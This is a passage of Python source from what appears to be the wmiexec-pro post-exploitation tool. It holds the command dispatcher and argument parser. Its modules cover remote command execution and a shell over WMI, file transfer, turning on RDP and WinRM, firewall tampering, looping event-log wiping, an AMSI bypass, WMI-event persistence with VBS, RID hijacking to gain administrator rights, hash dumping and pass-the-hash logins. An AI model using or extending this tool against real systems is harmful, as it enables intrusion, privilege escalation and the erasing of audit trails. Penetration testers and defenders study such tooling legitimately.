98 | if self.__options.src_file and self.__options.dest_file:
99 | if self.__options.upload:
100 | executer_Transfer.uploadFile(src_File=self.__options.src_file, dest_File=r"%s"%self.__options.dest_file)
101 | if self.__options.download:
102 | executer_Transfer.downloadFile(target_File=self.__options.src_file, save_Location=self.__options.dest_file)
103 | if self.__options.clear:
104 | executer_Transfer.clear()
105 |
106 | if self.__options.module == "rdp":
107 | executer_RDP = RDP_Toolkit(iWbemLevel1Login)
108 | if self.__options.enable:
109 | executer_RDP.rdp_Wrapper("enable", old=self.__options.old)
110 | if self.__options.disable:
111 | executer_RDP.rdp_Wrapper("disable", old=self.__options.old)
112 | if self.__options.enable_ram:
113 | executer_RDP.ram_Wrapper("enable")
114 | if self.__options.disable_ram:
115 | executer_RDP.ram_Wrapper("disable")
116 |
117 | if self.__options.module == "winrm":
118 | executer_WINRM = WINRM_Toolkit(iWbemLevel1Login, dcom)
119 | if self.__options.enable:
120 | executer_WINRM.WINRM_Wrapper("enable")
121 | if self.__options.disable:
122 | executer_WINRM.WINRM_Wrapper("disable")
123 |
124 | if self.__options.module == "firewall":
125 | executer_Firewall = Firewall_Toolkit(iWbemLevel1Login)
126 | if self.__options.search_port:
127 | executer_Firewall.port_Searcher(self.__options.search_port)
128 | if self.__options.dump:
129 | executer_Firewall.dump_FirewallRules(self.__options.dump)
130 | if self.__options.rule_id and self.__options.action:
131 | executer_Firewall.rule_Controller(ID=self.__options.rule_id, flag=self.__options.action)
132 | if self.__options.firewall_profile:
133 | executer_Firewall.FirewallProfile_Controller(self.__options.firewall_profile)
134 |
135 | if self.__options.module == "eventlog":
136 | executer_EventLog = eventlog_Toolkit(iWbemLevel1Login)
137 | if self.__options.risk_i_know:
138 | executer_EventLog.fuck_EventLog()
139 | if self.__options.retrieve:
140 | executer_EventLog.retrieve_EventLog(self.__options.retrieve)
141 |
142 | if self.__options.module == "service":
143 | executer_Service = Service_Toolkit(iWbemLevel1Login, dcom)
144 | if self.__options.action:
145 | if self.__options.action == "create" and all([self.__options.service_name, self.__options.display_name, self.__options.bin_path]):
146 | executer_Service.create_Service(self.__options.service_name, self.__options.display_name, self.__options.bin_path, self.__options._class)
147 | else:
148 | executer_Service.control_Service(self.__options.action, self.__options.service_name)
149 | if self.__options.dump:
150 | executer_Service.dump_Service(self.__options.dump)
151 |
152 | if self.__options.module == "execute-vbs":
153 | executer_VBS = executeVBS_Toolkit(iWbemLevel1Login)
154 | if self.__options.vbs and self.__options.filter:
155 | executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, filer_Query=self.__options.filter)
156 | if self.__options.vbs and self.__options.timer:
157 | executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, timer=self.__options.timer)
158 | if self.__options.remove:
159 | executer_VBS.remove_Event(self.__options.remove)
160 | if self.__options.deep_clean:
161 | executer_VBS.deep_RemoveEvent()
162 |
163 | if self.__options.module == "rid-hijack":
164 | RID_Hijack = RID_Hijack_Toolkit(iWbemLevel1Login, dcom)
165 | RID_Hijack.timeout = self.__options.timeout
166 | if self.__options.query:
167 | RID_Hijack.query_user()
168 | if self.__options.action and self.__options.user:
169 | if self.__options.action == "hijack" and self.__options.hijack_rid:
170 | RID_Hijack.hijack(self.__options.action, self.__options.user, self.__options.hijack_rid)
171 | elif self.__options.action in ["activate", "deactivate", "remove"]:
172 | RID_Hijack.hijack(self.__options.action, self.__options.user)
173 | elif self.__options.action in ["grant", "grant-old"]:
174 | RID_Hijack.Permissions_Controller(self.__options.action, self.__options.user, self.__username)
175 | elif self.__options.action == "backup":
176 | RID_Hijack.hijack(self.__options.action, self.__options.user, hostname=addr)
177 | if self.__options.blank_pass_login:
178 | RID_Hijack.BlankPasswordLogin(self.__options.blank_pass_login)
179 | if self.__options.restore:
180 | RID_Hijack.restore_UserProfile(self.__options.restore)
181 |
182 | if self.__options.module == "hashdump":
183 | executer_Hashdump = Hashdump(iWbemLevel1Login)
184 | executer_Hashdump.test()
185 |
186 |
187 | except (Exception, KeyboardInterrupt) as e:
188 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG:
189 | import traceback
190 | traceback.print_exc()
191 | logging.error(str(e))
192 | dcom.disconnect()
193 | sys.exit(1)
194 |
195 | dcom.disconnect()
196 |
197 | if __name__ == "__main__":
198 | print(version.BANNER)
199 |
200 | parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows "
201 | "Management Instrumentation.")
202 | parser.add_argument("target", action="store", help="[[domain/]username[:password]@]")
203 | parser.add_argument('-timeout', default=5, type=int, action='store', help='Set the timeout for the connection')
204 | parser.add_argument("-codec", default="gbk", action="store", help="Sets encoding used (codec) from the target\"s output (default "
205 | '"gbk"). If errors are detected, run chcp.com at the target, '
206 | "map the result with "
207 | "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py "
208 | "again with -codec and the corresponding codec ")
209 | parser.add_argument("-com-version", action="store", metavar="MAJOR_VERSION:MINOR_VERSION",
210 | help="DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7")
211 | subparsers = parser.add_subparsers(help="modules", dest="module")
212 |
213 | group = parser.add_argument_group('authentication')
214 |
215 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
216 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
217 | group.add_argument('-k', action="store_true",
218 | help='Use Kerberos authentication. Grabs credentials from ccache file '
219 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
220 | 'ones specified in the command line')
221 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
222 | '(128 or 256 bits)')
223 | group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
224 | 'ommited it use the domain part (FQDN) specified in the target parameter')
225 | group.add_argument('-target-ip', action='store', metavar="ip address",
226 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
227 | 'This is useful when target is the NetBIOS name and you cannot resolve it')
228 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
229 |
230 | # enumerate.py
231 | enum_parser = subparsers.add_parser("enum", help="Enumerate system info")
232 | enum_parser.add_argument("-basic", action="store_true", help="Doing basic enumeration")
233 | enum_parser.add_argument("-tasklist", action="store_true", help="Display a list of currently running processes on the system")
234 |
235 | # amsi.py
236 | amsi_parser = subparsers.add_parser("amsi", help='Bypass AMSI with registry key "AmsiEnable".')
237 | amsi_parser.add_argument("-enable", action="store_true", help="Enable AMSI bypass")
238 | amsi_parser.add_argument("-disable", action="store_true", help="Disable AMSI bypass")
239 |
240 | # exec_command.py
241 | exec_command = subparsers.add_parser("exec-command", help="Execute command in with/without output way.")
242 | exec_command.add_argument("-shell", action="store_true", help="Launch a semi-interactive shell")
243 | exec_command.add_argument("-command", action="store", help="Specify command to execute")
244 | exec_command.add_argument("-old", action="store_true", help="Execute command for old system versio nunder NT6.")
245 | exec_command.add_argument("-silent", action="store_true", help="Command execute with output (default is no output)")
246 | exec_command.add_argument("-save", action="store_true", help="Save command output to file (not support silent mode)")
247 | exec_command.add_argument("-clear", action="store_true", help="Remove temporary class for command result storage")
248 |
249 | # filetransfer.py
250 | file_transfer = subparsers.add_parser("filetransfer", help="Upload/Download file through wmi class.")
251 | file_transfer.add_argument("-upload", action="store_true", help="Upload file.")
252 | file_transfer.add_argument("-download", action="store_true", help="Download file.")
253 | file_transfer.add_argument("-src-file", action="store", help="Source file with fully path (include filename)")
254 | file_transfer.add_argument("-dest-file", action="store", help="Dest file with fully path (include filename)")
255 | file_transfer.add_argument("-clear", action="store_true", help="Remove temporary class for storage binary data")
256 |
257 | # rdp.py
258 | rdp_parser = subparsers.add_parser("rdp", help="Enable/Disable Remote desktop service.")
259 | rdp_parser.add_argument("-enable", action="store_true", help="Enable RDP service")
260 | rdp_parser.add_argument("-enable-ram", action="store_true", help="Enable Restricted Admin Mode for PTH")
261 | rdp_parser.add_argument("-disable", action="store_true", help="Disable RDP service")
262 | rdp_parser.add_argument("-disable-ram", action="store_true", help="Disable Restricted Admin Mode")
263 | rdp_parser.add_argument("-old", action="store_true", help="Enable/Disable RDP for old system versio nunder NT6.")
264 |
265 | # winrm.py
266 | winrm_parser = subparsers.add_parser("winrm", help="Enable/Disable WINRM service.")
267 | winrm_parser.add_argument("-enable", action="store_true", help="Enable WINRM service")
268 | winrm_parser.add_argument("-disable", action="store_true", help="Disable WINRM service")
269 |
270 | # firewall.py
271 | firewall_parser = subparsers.add_parser("firewall", help="Firewall abusing.")
272 | firewall_parser.add_argument("-search-port", action="store", metavar="port num", help="Search rules associate with the port.")
273 | firewall_parser.add_argument("-dump", action="store", metavar="FILENAME", help="Dump all firewall rules to file as json format.")
274 | firewall_parser.add_argument("-rule-id", action="store", metavar="ID", help='Specify firewall rule instance id to do operation in "-rule-op"')
275 | firewall_parser.add_argument("-action", action="store", default="disable", choices=["enable", "disable", "remove"],
276 | help="Action of firewall rule which you specify.")
277 | firewall_parser.add_argument("-firewall-profile", action="store", choices=["enable","disable"],
278 | help="Use it on your own risk if you try to do this one.")
279 |
280 | # eventlog-fucker.py
281 | eventlog_parser = subparsers.add_parser("eventlog", help="Loopping cleanning eventlog.")
282 | eventlog_parser.add_argument("-risk-i-know", action="store_true", help="You know what will happen :)")
283 | eventlog_parser.add_argument("-retrieve", action="store", metavar="ID", help="Stop looping cleaning eventlog with the instance id.")
284 |
285 | # service_mgr.py
286 | service_MgrParser = subparsers.add_parser("service", help="Service manager")
287 | service_MgrParser.add_argument("-action", action="store", choices=["create", "delete", "start", "stop", "disable", "auto-start", "manual-start", "getinfo"],
288 | help="Action you want to do.")
289 | service_MgrParser.add_argument("-service-name", action="store", help="Specify service name.")
290 | service_MgrParser.add_argument("-display-name", action="store", help="Specify service display name.")
291 | service_MgrParser.add_argument("-bin-path", action="store", help="Specify binary path of service creation.")
292 | service_MgrParser.add_argument("-class", dest="_class", action="store", choices=["Win32_Service", "Win32_TerminalService", "Win32_BaseService"], default="Win32_Service",
293 | help="Alternative class of service object creation.")
294 | service_MgrParser.add_argument("-dump", action="store", metavar="FILENAME", help="Dump all services to file as json format.")
295 |
296 | # executeVBS.py
297 | execute_VBSParser = subparsers.add_parser("execute-vbs", help="Execute vbs file.")
298 | execute_VBSParser.add_argument("-vbs", action="store", help="VBS filename containing the script you want to run")
299 | execute_VBSParser.add_argument("-filter", action="store", help="The WQL filter string that will trigger the script.")
300 | execute_VBSParser.add_argument("-timer", action="store", help="The amount of milliseconds after the script will be triggered, 1000 milliseconds = 1 second")
301 | execute_VBSParser.add_argument("-remove", action="store", help="Remove wmi event with specify ID.")
302 | execute_VBSParser.add_argument("-deep-clean", action="store_true", help="Remove all wmi events with auto enumeration.")
303 |
304 | # rid_hijack.py
305 | rid_HijackParser = subparsers.add_parser("rid-hijack", help="RID Hijack.")
306 | rid_HijackParser.add_argument("-query", action="store_true", help="Query all users.")
307 | rid_HijackParser.add_argument("-user", action="store", help="Specify users RID which you want to playing with.(Like guest user 501)")
308 | rid_HijackParser.add_argument("-hijack-rid", action="store", help="Specify RID which you want to hijack to.(Like administrator rid 500)")
309 | rid_HijackParser.add_argument("-action", action="store", choices=["hijack", "activate", "deactivate", "grant", "grant-old", "backup", "remove"], help="Action you want to do.")
310 | rid_HijackParser.add_argument("-blank-pass-login", action="store", choices=["enable", "disable"], help="Enable or disable blank pass login.(for guest user)")
311 | rid_HijackParser.add_argument("-restore", action="store", help="Restore user profile after you want to do evil operation, need to specify the backup json file)")
312 |
313 | # hashdump.py
314 | hashdump_parser = subparsers.add_parser("hashdump", help="Loopping cleanning eventlog.")
315 | hashdump_parser.add_argument("-test", action="store_true", help="You know what will happen :)")
316 |
317 | if len(sys.argv) == 1:
318 | parser.print_help()
319 | sys.exit(1)
320 |
321 | options = parser.parse_args()
322 |
323 | logging.getLogger("impacket").disabled = True
324 | logger = Log(log_level=logging.DEBUG)
325 |
326 | if options.com_version:
327 | try:
328 | major_version, minor_version = options.com_version.split(".")
329 | COMVERSION.set_default_version(int(major_version), int(minor_version))
330 | except Exception:
331 | logger.error('Wrong COMVERSION format, use dot separated integers e.g. "5.7"')
332 | sys.exit(1)
333 |
334 | domain, username, password, address = parse_target(options.target)
335 | try:
336 | if not options.target_ip:
337 | options.target_ip = address
338 |
339 | if not domain:
340 | domain = ""
341 |
342 | if options.keytab:
343 | Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
344 | options.k = True
345 |
346 | if username and not (password or options.hashes or options.no_pass or options.aesKey):
347 | from getpass import getpass
348 | password = getpass("Password:")
349 |
350 | if options.aesKey:
351 | options.k = True
352 |
353 | executer = WMIEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.target_ip, options)
354 | executer.run(address)
355 |
356 | except KeyboardInterrupt as e:
357 | logger.error(str(e))
358 | except Exception as e:
359 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG:
360 | import traceback
361 | traceback.print_exc()
362 | logger.error(str(e))
363 | sys.exit(1)
364 |
365 | sys.exit(0)
--------------------------------------------------------------------------------